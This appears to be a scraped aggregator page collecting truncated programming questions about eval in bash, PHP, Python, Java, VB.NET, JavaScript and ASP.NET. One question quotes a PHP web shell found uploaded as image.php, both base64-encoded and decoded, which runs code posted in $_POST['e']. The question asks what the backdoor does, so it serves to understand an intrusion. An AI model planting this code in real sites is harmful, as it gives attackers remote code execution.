eval

Bash parameter quotes and eval

你说的曾经没有我的故事 提交于 2019-12-05 22:07:23
问题 I've written a bash logging library to be implemented with some complex scripts that my company is currently using. I've been deadset on providing the script filename (${BASH_SOURCE}) and the line number (${LINENO}) of the calling script when making the log calls. However, I didn't want to have to rely on the user or implementing script to pass in these two variables as parameters. If this were C/C++, I would just create a macro that prepends "__FILE__" and "__LINE__" to the parameter list. I

What does eval on base64 encoded $_POST['e'] variable actually do?

橙三吉。 提交于 2019-12-05 20:52:43
问题 Ok so here's what I've googled: It seems there is an uploaded file named "image.php" that is uploaded in a qcubed directory. That image.php file contains the following base64 code: aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw== decoded it adds to this: if(isset($_POST['e'])) eval(base64_decode($_POST['e'])); echo

python 字符串str和json格式转换

我的未来我决定 提交于 2019-12-05 20:05:41
最近在写一个脚本,需要处理从excel中读取的数据,发现读取的json格式数据进行转换时报错 ValueError: Expecting property name enclosed in double quotes: line 1 column 2 (char 1) 网上查了是因为json的key没有双引号,导致json解析错误的。 为了处理读取的数据从str转换为json查了一下str和json格式转换: 1.)str转json str转换为json格式,前提一定需要保证这个str的格式和json是一致的,即左边最外层是大括号,右边的最外层是大括号。如果不一致,推荐用正则进行拆分至和json格式一致 1. 通过json.loads进行转换 1 import json 2 str = '{"key": "wwww", "word": "qqqq"}' 3 j = json.loads(str) 4 print(j) 5 print(type(j)) 但是值得注意的是,json中内部数据需要用双引号来包围,不能使用单引号,如刚才的写法,如果写成这样,就会发生错误: str = “{‘key’: ‘wwww’, ‘word’: ‘qqqq’}“ j = json.loads(str) 2. 通过eval eval函数的官方解释为:将字符串str当成有效的表达式来求值并返回计算结果。

How to convert String to Function in Java?

不想你离开。 提交于 2019-12-05 19:42:28
There is a question with the same title like this on stackoverflow here , but I wanted to ask if it is possible to do something similar to this in Java. I wanted to make something similar to desmos, just like that guy did in Javascript,but i want to make it in Java using lwjgl 2. I am new to Java and I'd like to know if it is possible to convert a piece of string into a method. Is it possible? I have looked for possible options and I found out that your can make your own Java eval() method. But I don't want to replace the x in the string for every pixel of the window-width. Thanks in advance.

Dynamic code execution: String -> Runtime code VB.net

▼魔方 西西 提交于 2019-12-05 19:13:04
I'm trying to execute some code inside a string in runtime. I.E. Dim code As String = "IIf(1 = 2, True, False)" How do i run the code inside code string ? As @ElektroStudios said - the proper way to do this is to use the CodeDom compiler , but this is a bit overkill for something as simple as this. You can sort of cheat and harness the power of a DataColumn Expression So for example: Dim formula = "IIF(Condition = 'Yes', 'Go', 'Stop')" Dim value As String = "Yes" Dim result As String 'add a columns to hold the value Dim colStatus As New DataColumn With colStatus .DataType = System.Type.GetType

JSON学习

。_饼干妹妹 提交于 2019-12-05 16:35:57
JSON: JavaScript Object Notation(JavaScript 对象表示法) JSON转JavaScript对象 :eval(); 语法规则 JSON名称/值对 示例:"name" :"啊阿啊乐" 数据用逗号分隔 JSON值 可以使数字,字符串,Boolean,数组,对象 大括号保存对象 {"name" :"啊阿啊乐","sex" :"男"} 中括号保存数组 [ {"hobby" : "唱"}, {"hobby" : "跳"}, {"hobby" : "rap"}, {"hobby" : "篮球"}] JSON与服务器交换数据 向服务器接收数据(字符串转JavaScript) JSON.parse(text[, reviver]) text:必需,一个有效的JSON字符串。 reviver:转换结果函数。 向服务器发送数据(javascript转字符串) JSON.stringify(value[,replacer[,space]]) value:必需, replace:转换函数, space:文本添加缩进 //JSON.parse()和eval()都能转成js,eval()能执行字符串中的函数。 //使用方法: eval('('+data+')') 来源: https://www.cnblogs.com/aaale/p/11933112.html

Is this use of Javascript eval() 100% safe?

让人想犯罪 __ 提交于 2019-12-05 14:40:26
I'm writing a PHP library which generates Javascript code. The Javascript code has a number of components named component001 , component002 , etc. Pages are loaded dynamically via AJAX. I need to pass the name of the component via URL variable which is then evaled() by the script. The only way I am protecting what is being evaled is with the regular expression ^component[0-9]{3}$ : if it passes it gets evaled, otherwise it does not. To me this is 100% safe since nothing will get executed unless it is simply the name of one of my known components, or is there something about the eval() command

用es5实现模板字符串

拟墨画扇 提交于 2019-12-05 14:35:11
废话不多说,主要是利用正则表达式replace+eval动态取值(纯属娱乐) String.prototype.myReplace = function(){ return this.replace(/\$\{([^}]*)\}/g,function(metched,key){ return eval(key) }) } var name = '张三',age = '20'; var userTxt = '${name}今年${age}岁了' ) 来源: https://www.cnblogs.com/angfl/p/11928292.html

\\r\\n vs \\n in python eval function

三世轮回 提交于 2019-12-05 14:05:33
Why eval function doesn't work with \r\n but with \n. for example eval("for i in range(5):\r\n print 'hello'") doesn't work eval("for i in range(5):\n print 'hello'") works I know there is not a problem cause using replace("\r","") is corrected, but someone knows why happens? --Edit-- Oh! sorry , exactly, I meant exec. Carriage returns appeared because I'm reading from a HTML textarea via POST (I'm on a Linux box). now It is clearer, thanks to everyone. You have a strange definition of "work": >>> eval("for i in range(5):\n print 'hello'") Traceback (most recent call last): File "<stdin>",

Repeater's SeparatorTemplate with Eval

隐身守侯 提交于 2019-12-05 13:14:39
is it possible to use Eval or similar syntax in the SeparatorTemplate of a Repeater? Id' like to display some info of the last item in the separator template like this: <table> <asp:Repeater> <ItemTemplate> <tr> <td><%# Eval("DepartureDateTime") %></td> <td><%# Eval("ArrivalDateTime") %></td> </tr> </ItemTemplate> <SeparatorTemplate> <tr> <td colspan="2">Change planes in <%# Eval("ArrivalAirport") %></td> </tr> </SeparatorTemplate> <asp:Repeater> <table> Hopping that it'll generate something like this: <table> <asp:Repeater> <tr> <td>2009/01/24 10:32:00</td> <td>2009/01/25 13:22:00</td> </tr>